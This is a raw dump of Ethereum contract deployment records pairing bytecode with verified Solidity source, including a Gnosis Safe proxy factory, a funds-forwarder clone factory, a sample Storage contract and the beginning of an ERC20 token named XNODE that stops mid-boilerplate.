) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,496,004 |
1bbf21a22c3e5456afa2cefb9fd976e5a1ab14652b2cc971c1176744744cda02
|
fcd25ffa10a937312b3762b56209dd44ae5e11120171d17eae2414717de074d8
|
00bdb5699745f5b860228c8f939abf1b9ae374ed
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
9bc629baa85c6834dfa4a229669a2b47cfab8442
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,496,005 |
6e5ff17bef549af7915a21a9b7f711062687ebb5dc7d187a3eebaf413d477dee
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754e96252c1b20f85fa0838cb0a56e47818fee643f4967921655db19c39751f9
|
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a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
1acb88049e98509520de2ba9ce4967bbcd54baa8
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,496,005 |
6e5ff17bef549af7915a21a9b7f711062687ebb5dc7d187a3eebaf413d477dee
|
cbe06206e150a5e6a1fbb3b176c71e7f758caef5addd0b9d09012e161021ecce
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
12ddecbf6a4befd5b3813384e8e239540ed14489
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,496,006 |
6d4c5442cfbd25f632684ef0f0c6ac139249f62acf2ef6d1719f13a9425223e5
|
bcf69567e5ea55be94079acb363b43e73f7e7d6a7ec428a809c301da0a3eaf6c
|
f4d4d59164f9e1bb16314374f9c7330e5d1433b5
|
f4d4d59164f9e1bb16314374f9c7330e5d1433b5
|
f0ad154c9950c8207dcba84e428c0a5f94c096c3
|
6080604052348015600e575f80fd5b506101438061001c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
|
1 | 19,496,012 |
8452a5100998d8606899d0cf1b42af7baa1211a7878b6fac07d5a7ffd5b97367
|
720ebcadaa7bf9da67da23498e81f3aad7b080d7f410567fa256be6103309acf
|
d829f471ed0a7dc04c3a307021734a85bcb1fb6e
|
56321f4f06298b211d11ce1605b245d8e37dbfa2
|
2e283c6a9a11ff12b15643b2e76cb52b0a4e4f10
|
3d602d80600a3d3981f3363d3d373d3d3d363d738ff563e117a6e4ffdfec684d7cf3897f4e2371165af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d738ff563e117a6e4ffdfec684d7cf3897f4e2371165af43d82803e903d91602b57fd5bf3
| |
1 | 19,496,015 |
949b3788a8218ddcb0122e4eedbb7512850b287e6ee4b8e0781b05b8e283638f
|
c8761975cf1d9388aac01763c62a3b15e2e9b3e02fecb10d5d39113be1cb5cb4
|
3793a5ac0ee459ebe80e7df53f402d0a6c4d42b9
|
3793a5ac0ee459ebe80e7df53f402d0a6c4d42b9
|
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|
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// SPDX-License-Identifier: MIT
/*
XNODE $XNODE
Dappnode takes care of the technical stuff so anyone can play a role in creating an open, equitable internet and access the rewards that are offered in return.
ENS: dappXnode.eth
Website: https://dappnode.com
Twitter: https://twitter.com/DAppNode
Discord: https://discord.gg/dappnode
Telegram: https://t.me/dappnode
Github: https://github.com/dappnode
Doc: https://docs.dappnode.io
______ _______ _______ _______ _ _______ ______ _______
( __ \ ( ___ )( ____ )( ____ )|\ /|( ( /|( ___ )( __ \ ( ____ \
| ( \ )| ( ) || ( )|| ( )|( \ / )| \ ( || ( ) || ( \ )| ( \/
| | ) || (___) || (____)|| (____)| \ (_) / | \ | || | | || | ) || (__
| | | || ___ || _____)| _____) ) _ ( | (\ \) || | | || | | || __)
| | ) || ( ) || ( | ( / ( ) \ | | \ || | | || | ) || (
| (__/ )| ) ( || ) | ) ( / \ )| ) \ || (___) || (__/ )| (____/\
(______/ |/ \||/ |/ |/ \||/ )_)(_______)(______/ (_______/
*/
pragma solidity ^0.8.24;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/Context.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
